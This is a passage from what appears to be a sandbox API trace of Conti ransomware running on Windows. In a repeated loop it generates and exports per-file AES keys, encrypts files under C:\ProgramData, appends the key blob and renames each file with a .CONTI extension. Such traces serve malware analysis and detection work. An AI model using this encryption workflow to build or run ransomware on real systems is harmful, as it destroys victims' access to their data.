	[0102.632] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0102.632] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.632] CloseHandle (hObject=0x3bc) returned 1
	[0103.371] GetProcessHeap () returned 0x1720000
	[0103.371] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6545f98
	[0103.372] lstrcpyW (in: lpString1=0x6545f98, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml"
	[0103.372] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml.CONTI"
	[0103.372] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml.conti")) returned 1
	[0104.257] GetProcessHeap () returned 0x1720000
	[0104.257] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6545f98 | out: hHeap=0x1720000) returned 1
	[0104.259] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0104.259] GetProcessHeap () returned 0x1720000
	[0104.259] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0428 | out: hHeap=0x1720000) returned 1
	[0104.259] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0104.981] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c8430) returned 1
	[0104.981] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x46fff1c | out: pbData=0x17d58c4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0104.988] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json")) returned 0x120
	[0104.988] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.988] GetLastError () returned 0x5
	[0104.988] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0104.988] GetProcessHeap () returned 0x1720000
	[0104.988] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8648 | out: hHeap=0x1720000) returned 1
	[0104.988] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0105.434] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c83b0) returned 1
	[0105.434] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x46fff1c | out: pbData=0x17d2694*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0105.434] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml")) returned 0x20
	[0105.435] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.435] GetLastError () returned 0x5
	[0105.435] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0105.435] GetProcessHeap () returned 0x1720000
	[0105.435] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cc88 | out: hHeap=0x1720000) returned 1
	[0105.435] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0106.301] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c85b0) returned 1
	[0106.301] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x46fff1c | out: pbData=0x17d2694*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0106.302] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log")) returned 0x20
	[0106.302] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0106.302] GetLastError () returned 0x0
	[0106.302] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=1310720) returned 1
	[0106.302] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x140000
	[0106.302] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.302] SetEndOfFile (hFile=0x3ac) returned 1
	[0106.302] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.302] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.302] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0106.304] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.304] ReadFile (in: hFile=0x3ac, lpBuffer=0xc610000, nNumberOfBytesToRead=0x140000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x140000, lpOverlapped=0x0) returned 1
	[0106.755] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x140000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x140010) returned 1
	[0106.783] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.783] WriteFile (in: hFile=0x3ac, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x140010, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x140010, lpOverlapped=0x0) returned 1
	[0106.789] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.789] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0106.789] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.789] CloseHandle (hObject=0x3ac) returned 1
	[0106.789] GetProcessHeap () returned 0x1720000
	[0106.789] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.789] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log"
	[0106.789] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log.CONTI") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log.CONTI"
	[0106.789] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log.CONTI" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log.conti")) returned 1
	[0106.790] GetProcessHeap () returned 0x1720000
	[0106.790] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.790] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0106.790] GetProcessHeap () returned 0x1720000
	[0106.790] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17407a8 | out: hHeap=0x1720000) returned 1
	[0106.790] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0106.790] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x17c81b0) returned 1
	[0106.790] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x46fff1c | out: pbData=0x17c534c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0106.791] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml")) returned 0x20
	[0106.791] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0106.791] GetLastError () returned 0x0
	[0106.791] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=251) returned 1
	[0106.791] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfb
	[0106.791] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.791] SetEndOfFile (hFile=0x3ac) returned 1
	[0106.792] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.792] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.792] WriteFile (in: hFile=0x3ac, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0106.794] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.794] ReadFile (in: hFile=0x3ac, lpBuffer=0xc610000, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0xfb, lpOverlapped=0x0) returned 1
	[0106.794] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0xfb, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x100) returned 1
	[0106.794] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.794] WriteFile (in: hFile=0x3ac, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x100, lpOverlapped=0x0) returned 1
	[0106.794] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.794] WriteFile (in: hFile=0x3ac, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0106.794] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.794] CloseHandle (hObject=0x3ac) returned 1
	[0106.794] GetProcessHeap () returned 0x1720000
	[0106.794] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.794] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml"
	[0106.794] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.CONTI"
	[0106.794] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml.conti")) returned 1
	[0106.795] GetProcessHeap () returned 0x1720000
	[0106.795] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.795] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0106.795] GetProcessHeap () returned 0x1720000
	[0106.795] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510208 | out: hHeap=0x1720000) returned 1
	[0106.795] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0106.795] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c82f0) returned 1
	[0106.795] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x46fff1c | out: pbData=0x17d3fac*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0106.796] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml")) returned 0x20
	[0106.797] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0106.797] GetLastError () returned 0x0
	[0106.797] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=2229) returned 1
	[0106.797] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8b5
	[0106.797] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.797] SetEndOfFile (hFile=0x3ac) returned 1
	[0106.797] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.797] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.797] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0106.807] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.807] ReadFile (in: hFile=0x3ac, lpBuffer=0xc610000, nNumberOfBytesToRead=0x8b5, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x8b5, lpOverlapped=0x0) returned 1
	[0106.807] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x8b5, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x8c0) returned 1
	[0106.807] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.807] WriteFile (in: hFile=0x3ac, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x8c0, lpOverlapped=0x0) returned 1
	[0106.807] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.807] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0106.807] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.807] CloseHandle (hObject=0x3ac) returned 1
	[0106.807] GetProcessHeap () returned 0x1720000
	[0106.807] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.807] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"
	[0106.807] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.CONTI"
	[0106.807] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.conti")) returned 1
	[0106.808] GetProcessHeap () returned 0x1720000
	[0106.808] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.808] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0106.808] GetProcessHeap () returned 0x1720000
	[0106.808] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511018 | out: hHeap=0x1720000) returned 1
	[0106.808] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0106.808] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c80b0) returned 1
	[0106.808] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x46fff1c | out: pbData=0x17d41f4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0106.809] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml")) returned 0x20
	[0106.809] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0106.809] GetLastError () returned 0x0
	[0106.809] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=271) returned 1
